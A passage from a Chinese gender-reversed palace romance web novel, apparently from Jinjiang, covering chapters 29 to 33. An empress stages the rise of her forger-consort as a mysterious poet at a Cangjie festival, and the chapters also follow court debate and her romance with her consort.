君后更是一脸欣慰温雅,语声清和:“诸位兄弟,陛下乃天命之尊,尔等当尽心侍奉。本宫与陛下同心同德,凡令陛下心悦开怀者,本宫必有厚赏。望诸位皆能早承皇嗣,开枝散叶。” 诸君齐齐起身:“是。” 朝见就此散去。 不过一盏茶的功夫,侍君傅逸春再次踏足栖梧宫,圆窗下的案上早已摆好了棋盘,见傅逸春熟门熟路的步入内殿,解安奉上了早已温好的茶,一招手,带着阖宫的宫人躬身退出了殿外。 傅逸春猜先输了先手,陆长行执起黑子落在星位。 傅逸春挑挑眉,叹了口气:“看来今日又是一场鏖战。” 陆长行微微一笑:“才下了一手,能看出什么?” 傅逸春道:“若今夜还来呢?” 这话暗有所指。 陆长行听出了弦外之音,抬眸看他,将指尖捻弄的黑子放下,才说道:“陛下如今是孩子心性,行为有些任性,但也不失可爱。” 傅逸春回:“陛下什么心性臣不知,不过瞿辰是怨夫心性却是实打实的。主仆二人天没亮就开始抓地龙臭虫,说是要放养在床上,怪幼稚的。” “哼。”陆长行眸色微沉:“难得晴朗的天儿非要戳本宫的霉头,既如此,本宫就只能给他找找晦气了。” 说话间,陆长行指尖轻叩杯盏,发出了脆响,不消片刻,解安颔首行至君后身侧。 陆长行吩咐道:“天黑前,传个流言到六宫:南阳王纳了一对双生玉树,双星并耀,夜夜笙歌,好不快活。” 解安未有半分迟疑,应了声是,躬身退下。 傅逸春轻笑出声。 黑子落定,直接吞了三颗白子,陆长行语气微沉:“这就是取笑本宫的下场!” 傅逸春无奈摆手:“臣错了。只觉得这流言没头没尾的,瞿辰会信吗?” “别人或许不会信,瞿辰一定会信。”陆长行纵观棋局,又落下一子:“他一贯自以为是,行事又常凭己意。断章取义的传言一旦入了他的耳,他自会在心中拼凑出一套完整的因果,认定南阳王魅力不减当年,反而更加深信不疑。” 傅逸春不由想起南阳王的那段风流往事。 一场游猎,发了狂的猛兽冲入了郎君队伍,南阳王不顾自身性命舍身猎兽,俘获了多少儿郎的心? 甚至有位定了亲的儿郎,都因目睹了南阳王的风采从而心生仰慕,不惜借自家筵席之便自荐枕席,想在婚前与南阳王春宵一刻。 谁料天公不作美,荒唐事当众暴露,还成了那日筵席的下酒菜。 宾客都说是那郎君不知廉耻,醉酒的南阳王难抵勾引才做了错事。 事后,南阳王为保全那郎君的脸面,主动承担了流氓之名,还将那郎君迎入府中,以侧宾相待。这一举动,非但没有让南阳王声名狼藉,反而让她在儿郎们心中的地位不降反升,更加仰慕。 想起这段过往,傅逸春语气中带着几分唏嘘:“既能占便宜,又能搏好名这事,南阳王属第二,无人敢称第一。” 陆长行轻轻落子,语气淡然:“世人只记得南阳王的豁达与担当,却无人知晓那个侧宾,入了南阳王府不过短短半载,便重病离世。” 傅逸春沉默几息后,只发出了一声叹息。 日升日落,一日光景又至尾声,裴源随手翻过了瞿卿君的牌子,便老神在在的倚靠凭几侧目养神。 不多时,窸窣声传入耳畔,裴源并未睁眼,只闻到奉到面前的茶茗中掺杂着淡淡的桃花香气。 裴源打趣道:“看来是御前伺候太过清闲,你竟还有功夫去摘桃花。” “只要陛下喜欢,便不周折麻烦。” 裴源蓦地睁了眼,对上了一双柳叶眸,陆长行依旧是淡然自若的模样。 裴源挑挑眉,叩击着桌案:“合着君后口中的‘后宫繁琐诸事’,便是去御花园采花。” 陆长行将茶放下,闻言嘴角微勾:“都两日了,陛下怎么还在计较?” 裴源轻哼一声:“朕也不想计较,只是批了一天废话折子,手抖心慌,怨气横生。” 她瞥了眼君后的脸色,又道:“待会儿朕就去瞿卿君宫里,让他好好给朕揉揉,君后不疼朕,自有大把的后君抢着替朕效力。” 陆长行自顾坐在案前,收拾着案上凌乱的奏本,闻言一脸欣慰:“如此看来,瞿卿君还颇得圣心,那臣今日送去凝露殿的那些赏赐,便没白送。” 空气静默片刻。 倚靠凭几的凤帝忽而挺直坐起,摩挲着茶盏,状似无意地问:“你还赏赐他了?” “自然。”陆长行微微一笑,语气淡然:“臣与陛下心意相通,瞿卿君尽心尽力侍奉陛下,哄得陛下开心,臣自然要好好褒奖他,绫罗绸缎、华贵摆件、香茶美酒,只要是小儿郎喜欢的,臣一样不差的都送进了凝露殿,陛下可还满意?” 满意个屁!她在凝露殿连口像样的水都没喝到!他倒好,张罗着送了这么多东西。真是白白便宜了瞿辰那小子。 裴源越想越气。 陆长行余光瞥见凤帝紧抿着嘴唇,一脸气闷,一时忍不住笑意。急忙开口说道:“虽是花茶,但泡久了也会苦涩,陛下可莫要辜负臣的一番心意。” 桌案也很快收拾妥当,陆长行起身道:“栖梧宫还有琐事等臣回去处理,臣先行告退。” 说完,翩然而去。 裴源郁闷的将茶一饮而尽,愤愤起身前往了凝露殿……旁的绮梦殿。 凤帝的不期而至,令宫人手忙脚乱,唯有绮梦殿的主人气定神闲。放下手中墨块后,起身行礼,声音温润如玉:“陛下。” 裴源抬手虚抬,示意其起身,径自绕过他稳稳落座,还将目光落在桌案上那方墨块上:“徽州墨块,质地细腻,色泽乌黑发亮,朕亦甚喜。” 傅逸春起身,微微一笑,语气谦逊:“陛下好眼力。徽墨素以制作工艺繁复、产量稀少闻名,因而尤为贵重。这一对方墨,还掺了洒金,乃是君后所赠,臣甚是欢喜,不舍得用。” 裴源哼道:“他倒是大方,朕那点家底都快被他败光了。” 傅逸春接过宫侍奉来的茶:“陛下说笑了,您乃一国之君,享天下养,凭君后一己之力怕是很难败光。” 裴源不语,见砚台中还有余墨,故而提笔洋洋洒洒的写下几行字。 ‘富强民主,自由和谐,团结友善……’ 然后起身示意他坐:“君后夸赞你临摹技艺高超,写给朕瞧瞧?” 傅逸春凝视着宣纸上那几行莫名其妙的词组,亦难以捉摸凤帝的真正意图。于是沉吟片刻后缓缓落座。 上头的墨迹尚未干透,可见凤帝的笔法带着几分锋芒。傅逸春仔细观察着凤帝留下的笔锋,片刻后提笔蘸墨,笔尖在纸上刚一落定,词组便如行云流水般一气呵成,毫无滞涩之感。 裴源在一旁看得真切,傅逸春神情专注,一瞬间,气质竟陡然巨变,整个人似沉浸在了宣纸的方寸之间。 裴源端起宣纸打量,果然,他所书写的字迹,竟与自己所写一般无二,不禁心生好奇:“你如何练就这般能力?” 傅逸春起身恭敬回她:“母亲因担礼部尚书之职,对儿女教育十分重视,唯恐子女在外因学识不通,遭人嗤笑有损门楣。故而臣亦有幸跟着嫡姐嫡兄去私塾读了两年。嫡兄性情顽劣,不好读书,又怕母亲知晓责骂,便以笔墨纸砚为利,让臣帮他完成先生布置的课业。此事不知怎的传了开去,许多郎君纷纷带着银钱寻到臣这,时日一久,臣便学会了。” 裴源放下宣纸:“朕若是你,便去临摹名家字帖,可比帮人写课业挣的多。” 傅逸春嘴角微勾。 裴源看在眼里:“干过?” 傅逸春颔首,无比谦逊:“干过……亿点点。” 第30章 第30章晋江文学城 提及临摹一事,傅逸春颇多心得。 于他而言,名家字帖 虽亦有所助益,然其收益终究寥寥。真正收益颇丰的,乃是临摹书法大家、大儒的绝世字画。 裴源微微蹙眉,沉声道:“既为绝世,字画必当仿旧。单凭你的笔墨,恐难成其韵。” 傅逸春点头:“仿旧之事,另有高人操持,臣未亲眼得见,不知其中玄机,不过一幅字臣怎么也能挣到几十两银子,但那也是入宫前的事了。” 裴源闻言,不禁冷笑一声,端着茶杯转身踱步至茶案旁,语气微带讥讽:“令堂任礼部尚书多年,得了清正廉洁的贤名,未曾听闻有半分敛财之举。可此次傅府被抄,仅白银便有数十万两之巨,那些古董字画更是不计其数。如此家财,竟对自己的骨肉如此苛待,真让朕摸不着头脑。” 傅逸春紧跟其后,得闻凤帝之言,下意识看向女子,猛然察觉,凤帝与记忆中的样子早已大不相同,只那一双凤眸就比从前要温和许多。 似注视的目光过于专注,引起了女子的注意。裴源下意识看向他:“为何这样看着朕?” 傅逸春这才敛起目光:“臣只是意外,这个疑问……竟能从陛下口中说出。” 裴源先是一愣,旋即恍然。 若论处境,她这个自幼被先帝冷落的皇女,比之傅逸春在傅家有过之而无不及。 念此,裴源随口道:“也许,有的孩子生来是错,不得父母喜爱,也是平常。” 傅逸春不置可否。 空气凝滞了许久,裴源摩挲着黑玉扳指陷入沉思,再开口时,似早已忘记了刚刚的对话:“临摹终究难入正统,唯有让他人临摹于你,方为至高境界。” 傅逸春一头雾水:“臣……臣不明白。” 裴源抬眸看着男子,一脸正色:“你可以自己做书法大家。” 傅逸春一愣,旋即轻笑出声:“陛下再说什么呢?臣不过深宫小君,怎么能做书法大家?” 裴源:“书法大家是人,你也是人;书法大家会写字,你也会写字;她们能做大家,你为何不能?” 傅逸春语塞:“这……” 裴源:“你只要听朕的安排,将来不仅会成为书法大家,还会成为京城最有声望的名儒,朕予你名望,你大可坦然接受。你是凤帝的后君,纵然有人拆穿了你的身份,还有朕顶着,要不要试试?” 傅逸春沉吟销许:“臣明白了,陛下是要臣……做旺铺中陈列的商品。” 裴源并未否认:“你可以拒绝。” 傅逸春沉默几息,摇了摇头:“能帮到陛下,臣不胜欣喜。” 裴源啜饮一口香茗,茶香沿舌尖蔓延滑入喉咙,再开口时,似唇齿都溢出茶香:“互帮互助,合作共赢。” 言此,茶盏落案,裴源起身,途径傅逸春身侧时重重拍了拍他肩,言辞无比恳切:“明日起记得来凝辉殿报道。” 彼时凝露殿内,午后方才重新摆置的精致瓷器,随着瞿辰一声歇斯底里,刹那间,又碎成满地狼藉。 恰有一片碎瓷滑至凤帝脚下,空气凝滞,宫人发现来人,皆齐齐跪地叩首。唯有瞿辰双目赤红,伫立原地,竟无半分请罪之意。 良久,凤帝漠然开口,声音如寒霜覆满寝殿:“朕看瞿卿君似已疯魔了。” 毕先闻眼一愣,旋即磕头咚咚作响:“陛下恕罪!瞿卿君只因听闻家中长辈身染沉疴,情急之下,才如此失态,望陛下体恤卿君一片孝心。” “是吗?”凤帝冷眸微抬,语气冷漠如冰:“那朕便怜瞿卿君一片孝心。即日起,凝露殿宫门紧闭,退去所有伺候宫人,仅留两名贴身侍奴,以免宫人频进频出,扰乱祈福虔诚。瞿卿君,从今以后,你便安心留在凝露殿,替家中长辈祈福吧。” 毕先惊骇:“陛下!” 裴源懒的倾听,一拂广袖,转身愤然而去。 乌宛白紧随其后,频频偷瞄凤帝脸色似要安抚几句,却见凤帝的脸色由起初的愤怒,缓缓变成疑惑,最后陡然转变前行的方向,拐往了栖梧宫。 栖梧宫灯火通明,户对下摇曳的宫灯仿佛在竭诚欢迎凤帝的到来。 裴源阔步其间,君后似已恭候多时,见其身影,撩开袍子缓缓跪地:“臣有罪。” 裴源冷哼一声:“朕就知道!” 说话间,黑着脸从他面前绕过,熟门熟路的上了方台:“瞿辰平素老实巴交的,筵席上屁都不放一个,好端端的,怎么莫名就疯了?合着是君后的手笔。” 茶壶放置一旁,里头的沸水早已变的温热,用来泡花茶最好不过。 裴源一拂手,免了解安伺候,自顾冲了一杯茉莉花,清香萦绕间,君后早已自行起身行至案旁,依旧是颔首而立,只是平常垂下的眼眸,偷偷打量着凤帝。 “陛下生气了?” 裴源侧身拉了凭几向前,端着花茶侧倚,闻声,面色冷漠:“有那么一点点。” 陆长行抿抿唇,正要上前时,听凤帝接着说:“摔了朕那么多瓷器,朕想想就心疼。” 陆长行:“……” 裴源抬眸又道:“就从你的月例银子扣!让你整日大手大脚的!” 陆长行哭笑不得,坐在茶案另一侧,缓缓开口:“陛下也不问问臣,为何要‘陷害’瞿辰?” 裴源轻啜一口香茗,片刻后,声音柔和了许多:“听他唤裴若,又提及什么双生子,心中大致有了些眉目。” 陆长行沉默片刻,微启薄唇:“南阳王昔年与先盐铁使往来甚密,此情为先帝所察。是以先帝命其远赴南戍郡,戍守边陲。南戍郡地势低洼,常年积水,蚊虫肆虐,环境甚为恶劣。陛下念及姐妹情谊,登基后便将其自南戍郡调回,以南阳为封地,赐其亲王之位,以示尊崇。至于瞿辰……两人并无明显交集,不过有流言说,南阳王被赶出京城那日,他骑马一路追随,后,又若无其事的回了瞿府。” 裴源摩挲着黑玉扳指,啧啧称奇:“那大抵是被裴若忽悠了,命他忍辱负重,来日等她荣耀加身归京,再八抬大轿,迎娶他为正宾。却不想,裴若人未归来,瞿辰先一步入了深宫。” 此时灯火通明,将裴源的眼眸映得雪亮。陆长行瞧得分明,自己的后君与别的女子不清不楚,作为帝王的她,眼眸中竟无半分波澜。 察觉君后注视,裴源不禁反问:“为何如何看朕?” 陆长行伸手去端茶盏,从容道:“臣只是好奇,南阳王未允瞿辰追随,是否是心疼瞿辰?” 裴源嘴角微扯,露出一抹冷笑:“一个满脑子大业的女人,岂会在意一个小儿郎的真心?未允瞿辰追随,不过是觉得他留在京城更有价值而已。而今看来……”裴源敛起笑意,面容多了一丝冷峻:“这瞿辰情绪太过急躁,俨然不堪大用。” 那这鸽子,到底会在西六宫的何处落脚? 思量间,君后已悄然枕在她的膝头,裴源搁下茶盏,轻抚其发顶青丝,徐徐道:“朕欲扶持傅逸春,使其成为名家大儒。” 陆长行微微一怔,旋即了然于心:“陛下年岁尚轻,有些话由陛下亲口说出,难免欠缺分量。若能借名儒之口,向天下宣告,自是妥帖许多。只是如何造势?陛下可有主张?” 裴源轻捻他的发丝,目光微抬,淡然道:“朕脑海里尚存诗词三百首,摘选其中几首,再加上傅逸春苍劲有力的笔墨,一经传播,必将名声大噪。” 她微微蹙眉,似在苦恼:“只是这时机,朕尚未想好。” 陆长行笑了笑:“仓颉作书,而天雨粟、鬼夜哭。作为文字始祖,谷雨那日,全城祭祀仓颉,新的笔墨大家横空出世,反成了天命所授之象。陛下以为如何?”【你现在阅读的是 】 30-40 第31章 第31章晋江文学城 先帝重文,对名儒大家极其敬重尊崇,各州县文昌庙皆立仓颉殿,每逢谷雨时节,仓颉殿香火旺盛,京城更是人满为患。 恰逢春闱之年 ,小凤帝为感念上苍庇佑我朝文脉,御驾亲临,焚香祝祷。 “吉时已到。” 随着礼官一声高呵,青铜编钟的浑厚声响似穿透了绵绵雨幕,直达天际。 小凤帝跪拜上天,双手合十,神情庄重而虔诚:“愿,天佑我朝,文脉延绵,字如珠玑,诗若繁星,天下学子皆得妙笔生花,文运昌隆,国祚永固。” 在场的群臣与学子们无不深受感染,纷纷跟着小凤帝三叩首,齐声高呼:“愿我朝文运昌盛,才俊辈出!” 不知是诚意感动上苍,还是上天真的应了凤帝所允,众人的高呼声带着回响萦绕上空之时,竟引来了天空异象。 无数宣纸竟凭空在文昌庙的上空四散降落,有的落在仓颉像的头顶盘旋,有的落在了人群之中。宣纸洁白如雪,在雨幕中飘飘洒洒,仿佛是天降瑞雪一般。 事发突然,禁军卫急忙将小凤帝环护其中,举着手中长刀警戒四周。小凤帝不明所以,看向场下,许多人早已捡起了地上的宣纸诵读,继而,激动叹服:“好诗、好字啊!” 渐渐地,喧闹声引起了小凤帝的不满:“何人敢在文昌庙撒野?禁军卫,速速追击此等装神弄鬼之徒!” 禁军领命,转身一闪即逝。 太学博士柳文澜闻声踉跄扑倒在凤帝面前,她的双手紧紧攥住几张宣纸,头上的官帽斜斜欲坠,也全然不顾,激动道:“陛下息怒!陛下且看这些手书!有的笔法肆意癫狂,又自成章法;有的银钩铁画,力透纸背;还有的笔势如惊鸿游龙,灵动飘逸……更遑论所书诗词,奔放不羁,气势恢宏,堪称绝世佳作!” 翰林院学士亦手持几份手书,亦是激动的高声念诵:“飞流直下三千尺,疑是银河落九天。短短两句,便描绘出一场壮丽奇景,令人叹为观止!还有这句‘天生我材必有用,千金散尽还复来’,如此豪迈自信,乃我辈之荣……”注1/注2 两人声音在人群中回荡,引得众人纷纷点头附和。 恰在此时禁军回报:“陛下,文昌庙后是深不可测的深渊,卑职站高处俯瞰,未曾发现人影。” 齐翁站在群臣之首,亦结果其中几页手书阅读,浑浊的眼眸骤然一亮,但开口却带着不屑:“故弄玄虚!陛下可不要被这些伎俩给蒙骗了。” 小凤帝闻言,当即冷哼一声:“一派胡言!若无人踪迹,那这些手书难道凭空出现不成?” 人群议论纷纷,嘈杂声此起彼伏。 忽而,学子中有人开口:“我亲眼瞧见,这些书卷似从半空凭空而现。” 另一名学子附和道:“是啊,是啊,就像是鹅毛大雪从天而降。” “你们说,是不是陛下祈福感动上苍,从而,上天便给予了回应?” “若真回应,就把这名儒亲自送到这文昌庙岂不更妙?” “……” 场面一时哗然,议论声此起彼伏,终是司天丞缓步上前,声音掷地有声:“陛下,臣刚刚观此异象,并占卜一卦,乃为乾卦。此卦象意为天降祥瑞。这些手书,看似凭空而至,实则是文昌帝君感念陛下虔诚所请,降示人间。臣揣测,应是文昌帝君随手一拂,便将这位大家书案上的手书,‘带’到了陛下眼前。且今日恰逢祭祀仓颉之日,天时地利,皆有玄机。” 她言罢,重重一跪,语气中带着一丝不容置疑的坚定:“臣斗胆揣测,此人或许正是仓颉转世,为壮大我朝文运而来。臣恳请陛下,为我朝文运,找出此人,为我朝文脉续写辉煌,延续千年荣光。” 此言一出,太学博士与翰林院学士皆是一脸振奋,纷纷跪地应司天丞所求。 远处的学子们更是激昂附和,呼声如潮,神情中满是对文运昌隆的期盼。 小凤帝却似还在状况之外,半晌后才道:“那此人姓甚名谁?家住何方?” 司天丞阖眼掐诀,再开口时,语气十分笃定:“乾卦有蓬勃生机之意。眼下谷雨,正是万物生长的时节,没有什么能比田中破土的庄稼更蕴有生机。臣推断,此人乾造,位于西北方,身骑赤色马,在田间小道肆意奔驰,兴许还即兴赋诗一首,其诗必是字字珠玑,句句生辉。” 场面在瞬间凝滞,空气仿佛被凝固,众朝臣皆屏息凝神。 片刻之后,齐翁开口:“乾造?那此人莫非是男子?” 司天丞自若开口:“齐翁,观音菩萨降世之前,亦是男子之身;仓颉先师,更是男子。神明造化万物,本无男女之别,皆为大道所化。唯有凡夫俗子,才会拘泥于坤乾之分,齐翁,您着相了。” 齐翁冷笑:“男子无才便是德,后宅相夫教女才是本分,如此放浪形骸不知所谓,俨然德行有亏!况且,谁又知晓这些诗词是否为他所做?” 小凤帝听罢,似觉赞同,开口时语气凛然生威:“齐翁所言极是!来人!速速前去司天丞大人所说方位探寻!若真有此人,朕定要让他当众赋诗题字。若他真能随口做出千古名句,写出绝世好字。朕便当众对他磕三个响头,以示对文昌帝君降吉的敬仰感恩,并赐此人尊封,享天下养。但倘若此人乃沽名钓誉之辈……” 她顿了顿,目光如剑,扫过众人,声音中透出不容置疑的威严:“朕必严惩不贷,绝不姑息!” 禁军领命而去,尽管细雨如绵,却丝毫不影响在场之众翻阅那些凭空而降的手书。 而气氛,也渐渐发生了微妙的变化。 起初,尚有人与小凤帝抱有相同的想法,认定这是有人故弄玄虚,但随着通读了那些诗句,不禁对此人心生敬仰。 柳文澜捧着手书:“此人寥寥几句,就能诉尽人世沧桑,且这笔墨浑厚,若非阅尽沧海,何来如此境界?” 翰林院学士点头附和:“是啊,若此人真是男子,那必是天师谪凡。不是世俗磨砺他,而是文昌帝君有意磨砺我等,让我们放下男女之见。” 齐翁依旧持不同意见,双方各执己见,毫不退让。 只有凤帝端坐殿内,静候时,宫侍奉上温茶,裴源正要伸手去接,一见端着茶杯的白皙玉指,眉宇微挑,便对上了一双柳叶眸。 “胡闹。” 裴源的声音很轻,好似一道青烟,吹入空中便散了。 陆长行嘴角微扬,颔首垂眸退至乌宛白的身后,紧身的宫侍服将他身姿勾勒的有致,不经意的落入凤帝的余光,裴源按捺下心底的情绪,啜饮香茗。 红茶中掺了桂花,入口温厚且有花的余香。 一盏茶见底时,陆长行躬身而退,再出现时,手里多了一盏青瓷盖碗,小心翼翼放置在了扶案上,而后伸手接过了裴源手里的茶杯。 许是有意,指尖轻抚过裴源手背时,宛若鹅毛搔人心田。 裴源抬眸看他,只瞧见他眼尾的小痣红的妖冶,一瞬间,心头涌动,竟觉得这庙宇都少了几分端庄。 似察觉了凤帝的注视,陆长行轻声问:“真跪吗?” 裴源凝神不语。 一炷香后,陆长行看到了答案。 赤红马架着一辆破旧的马车缓缓出现在文昌庙宇前。无人知晓马车中坐的神秘人到底是何样貌。即便知晓高台之上的女子就是当今的天下之主,他亦未下车相见,只命梳着两支朝天髻的小书童替他言说。 小书童不过七八岁的模样,面对凤帝的质问应对自如,丝毫不露怯。 “我家先生有言,今日之事,非关帝王权贵,乃为文脉交流,诗文面前,众生平等。” 凤帝面露愠怒,呵道:“一派胡言,简直放肆!” 马车中人闻言,“哈哈”大笑出声,声音苍老浑厚,俨然像个老者。他依旧未曾露面,却当众吟诵一首诗词抒怀此时心境:“大道如青天,我独不得出……”注3 场面静默数息,众人皆被这突如其来的吟诵所震撼。反复咀嚼着老者随口吟诵的诗句后,柳文澜更是激动上前躬身请教:“先生此诗,真乃惊世之作!敢问先生,这诗中之意……” 老者的声音从马车中传来,丝毫未有私心,一一作答,俨然名家儒者胸怀。每一句话更如金石之音,让在场的文人墨客无不折服。 凤帝再次表达不满,当众斥责 他故弄玄虚:“藏首藏尾,老鼠做派。” 老者又是哈哈一笑,声音中带着一丝不屑:“……安能摧眉折腰事权贵,使我不得开心颜。”注4 这首诗宛如一声惊雷,炸乱当场。这次不仅是柳文澜,在场学者无不恭敬上前,甚至有人对凤帝不敬天师而颇有微词。 凤帝面色不悦,一时没了主见,只得求助齐翁:“齐翁,帝王一诺,重如千钧,此人当众赋诗两首,俨然学识在胸,但朕是天下之主,怎可当着天下学子的面,对他一个男人磕头行礼?齐翁,朕现下要如何是好?” 两首诗词落地,齐翁内心亦生出波澜,却依旧不愿认输,故而沉吟道:“诗词倒是豪迈,此人若真是神仙谪凡,想必见解独到。” 她言此,面对凤帝重重一叩:“陛下,为确保文脉清流,请允老臣与其殿中文辩,若此人真乃盖世之才,老臣愿替陛下对其三跪三叩,以示尊崇!” 第32章 第32章晋江文学城 几日前,凝辉殿。 阳光穿过白纱洒入内殿,光影如雨后氤氲的水汽,无比柔和,可研磨题字的傅逸春依旧眉头紧锁,似有愁云。 裴源看在眼里,放下朱笔端起茶杯,随口问道:“怎么了?” 傅逸春眉心更紧,抬眸望向方台端坐的凤帝:“写字背诗对臣来说并不困难,可适才陛下说,齐翁恐会要求文辩,这……臣恐怕不行。” 男子抿了抿唇,低声道:“对方可是三朝元老齐翁卿,眼界宽广,见识非凡,臣一介小君怎能争辩的过?” 裴源闻言一笑:“原来是这个事?” 凤帝放下茶盏,语气淡然:“辩论的本质在于思想的碰撞与交流,而非单纯的胜负判定。何况你所塑造的是一位豪放不羁、心胸豁达的诗人;而齐翁侍奉过三位帝王,功绩之外,尤善人心揣度,旁征博引之术,术业有专攻,你输给她,情理之中。” 裴源缓步来到他身前,拿起墨块缓缓研磨。墨香在空气中弥散,窸窣的磨墨声中,女子轻柔的声音再度在耳畔响起:“齐翁此人,自负自满,为证己学,必言辞犀利,让你毫无招架之力。你只需弱化锋芒。她若论如何实现天下大同,你便回她:‘北边的雪,飘不到京城。’她定会斥你不知所谓,你便笑而回之:‘天下之争,由来已久,大同不过悖论耳。倒不如赛外赏雪时,想想如何改变民生。’” 傅逸春紧蹙的眉宇微微舒展,沉吟片刻,斟酌道:“臣好像懂了,可又好像没懂。” 裴源只得按照他的逻辑,点拨道:“观自在菩萨……” 傅逸春眨眨眼,不自信道:“……不自在?” 裴源赞赏的看着他:“行深般若波罗蜜……” 傅逸春似明悟了凤帝的逻辑,开口无比坚定:“一行就是几千里。” 裴源微微一笑,语气从容而淡然:“便是如此,切莫让她窥透你的逻辑。与她鸡同鸭讲,她论大局,你便言大义;她言文以载道,你便说文以娱情,随性而为,看破放下,亦能授业解惑。她若论王朝兴衰,你便回她:‘历史车轮滚滚而来,白骨皆会成沙,唯有知识万世流芳。’而后一笑了之,轻叹一句‘无趣无趣,不如吃酒去~’如此一来,最后便是她赢了,但她赢得不痛快;你虽输了,却输得从容,因为从一开始,你便不计较输赢。自有饱学之士,羡慕你的心性与豁达。” 傅逸春笑道:“臣懂了,必不会让陛下失望。”他默了默又问:“臣那日便要应陛下所请,入主明堂吗?” 裴源摇头:“不会!朕那日甚至都不会留你,任你自行离去。待文臣学子奏本所求,朕才会勉为其难派人招揽。如此方不刻意,你的地位也会更为稳固。” 傅逸春微微蹙眉:“当真会有文臣学子会求男子入仕吗?” 裴源放下墨块,笑而不语,不知是成竹在胸,亦或是……她也不知答案。 彼时,天空中层层叠叠的乌云早已悄然散去,带走了绵绵细雨。阳光倾洒而下,照耀着万物。文昌庙宇之上,水汽氤氲,映出了七色彩虹。 明明是绝艳的景色,却无人观赏。群臣与学子们只将大殿围得水泄不通,个个屏息凝神,静观文辩交锋。 齐翁端坐殿中,神情严肃,言辞犀利。而与之相对的,是一个头戴帷帽、坐姿恣意的老者。 无人知晓帷帽之下是一张怎样的脸,只知他几次三番,四两拨千斤的就将齐翁犀利的问题化作轻羽,四散在殿中。 随着齐翁眸色越来越锐利,言辞越来越尖锐,老者却只是爽朗大笑,转头透过密密丛丛的人群,望向天空。他起身一拂衣袖,朗声笑道:“罢了罢了,长短胜负甚无趣味。难得这文昌庙宇之上映出七彩云霞,山水之间自有诗意,不如归去,诸位自便。” 那日之后,长者的诗集便在京城的各个学馆传阅,其字迹更被各个书局拓印,因不知长者名讳,只知其头戴帷帽,于是市井予以长者帷帽诗仙尊称,更有人说他是文昌帝君的弟子下凡,只为状大凤国文脉。 流言愈演愈烈,就连朝堂亦为请老者入仕,争论的不可开胶。 每每此时,齐翁都十分决然:“大雨淹没了南边的良田,洪浪吞没了朝廷的银舟,你们不替陛下分忧,还有心思帮一个男人争论入仕与否?简直不知所谓。” 裴源亦道:“齐翁言之有理!朕今日就把话撂这,哪怕他是文昌帝君转世,朕的江山,也绝不允许男人登堂!” 为了南边的灾情,凤帝可谓殚精竭虑,自打赈灾银舟沉没一事传回朝堂,她更是夜不能寐。 谁知朝臣只在意什么诗仙?她如何不怒? 言此,直接起身愤而离去。 凝辉殿外,陆长行似已恭候多时,案牍上,菊花茶汤清香萦绕,裴源垂眸看了眼茶盏中绽放的花束:“花开的好好的,非要剪下来泡水喝,朕实在弄不清你们这些儿郎家的心思。” 陆长行坐在窗下看着诗仙文集,闻言,柳叶眸抬眼落在女子冷白的面容上:“你们?”他幽幽道:“看来除了臣的这盏菊花,还有牡丹、月季、白茉莉喽?谷雨之后,御花园百花争艳,陛下满足口福之时,也需克制自身,莫要贪杯。” 裴源:“……” 裴源笑笑:“难怪今日君后得闲儿。合着是来教训人的。” 陆长行缓缓翻了一页书,语气幽凉:“臣哪里敢教训陛下,分明是陛下沉溺花田,臣若再不巴巴过来露个脸,陛下怕是要忘了臣了。” 裴源挑了挑眉,干脆踱步至陆长行身畔,戳了戳他的脸颊:“嫉妒吃醋,君后大忌。” 陆长行一把就握住了她的手,随着他抬头,阳光耀在他的眸低,闪烁光芒,言辞亦带着挑衅:“臣以为陛下就喜欢臣嫉妒吃醋,莫非,臣会错意了?” 君后的手好似没有暖过,尽管阳光直照,依旧凉如冰霜,裴源起初以为是天冷所致,而今竟也懒的去思考,只顺势将他的手反握在掌心:“没有会错,朕确然喜欢君后落寞伤怀的样子,看着有趣。” 一丝愠怒在柳叶眸中生出,就连眼尾的红痣都格外鲜红,陆长行冷哼一声,挣脱她的拉扯起身道:“那恭喜陛下,您又成功了。”他放下诗集,微微屈身:“臣告退。” 说着,气呼呼的就要走。却被裴源拦在身前:“如今火气是越来越大了,朕一句戏言,你当得什么真?” 陆长行垂眸,目光泠然凝她片刻,女子非但无悔意,还一脸笑嘻嘻。 陆长行怒气更盛,一时竟忘了君臣之别,反身便将女子欺压在窗前。 女子全无防备,笑容僵在脸上几息,回过神后,稍显愕然,却也并未露出怒意,反倒是一脸玩味的看 着男子。 男子后知后觉,仓惶后退时,脸颊如同火烧一般,颔首恭敬道:“臣失礼。” 裴源眉梢微挑,意味阑珊的勾起一抹浅笑,而后坐在窗下的椅木上,将手臂轻轻搭在窗台,目光穿过雕花的窗棂,落在廊下青砖上。 仿佛很多次,陆长行就站在那里凝望殿中,若见其他后君在,他会颔首静默一会儿,却不会着人通传,只会走的无声无息。 距离太远,裴源其实看不清他落寞与否。但会当他失落,而后心生起无名的波澜,脸上忍不住笑意。 原主待陆长行是不一样的,裴源感觉的到,甚至影响到了她的七情六欲,所以她有时分不清,心底泛起波澜的,到底是原主,还是她? 她实说不出个所以然,只知一勾手,那个冷如月光的男子便会缓缓走到她的跟前,颔首垂眸,静待吩咐;或者缓缓枕在她的膝上,温声细语的同她讨论前朝政务,后宫诸事。 可那个只知严格恪守君后之责的人,似乎不是他的真实性情。 而刚刚那个会因生气而对她欺身而上的人,才是真正的陆长行。 “朕刚刚言辞不当,你若不欢喜,朕今后便不说了。” 裴源声音虽然平淡,却十分轻柔,仿佛是在安抚。 陆长行依旧颔首垂眸,只身未动,袖口位置微微浮动,广袖宽大,裴源看不见他的小动作,见他久未言辞,似觉得无趣,起身道:“朕还有公务要忙,君后是留下还是离开,随意便好。” 见裴源迈步向前,陆长行侧身退了半步,待女子行至他的面前时,才轻声开口:“臣不欢喜的话,陛下不再言说。那臣不欢喜的事,陛下能否不做?” 虽未言明,可他不欢喜之事昭然若揭。 裴源步子一顿,想了想,侧身与之面对面:“你我乃帝王夫妻,君后有此一问,不觉得天真吗?” “天真与否,”陆长行喉结上下滚动,似有千般愁绪哽在其中,再开口时,声音竟带着几分颤抖:“归根结底,要看陛下可愿纵容。” 裴源微微蹙眉,恰逢缓缓抬起的眼眸四目相对。柳叶眸狭长,却蕴着浅浅水汽,在阳光下折射出刺目的光晕。 裴源下意识紧紧按住黑玉扳指,指腹很快泛起一层凉意。可男子眼底的水汽却愈发浓重,最后竟汇聚成一片汪洋,化作断了线的珠子,在裴源的面前滑落,一颗一颗重重砸在地面,却在裴源的心底泛起了一阵又一阵波澜。 裴源一时无措,想也不想拥他入怀:“纵着,纵着行了吧,祖宗你快别哭了。” 第33章 第33章晋江文学城 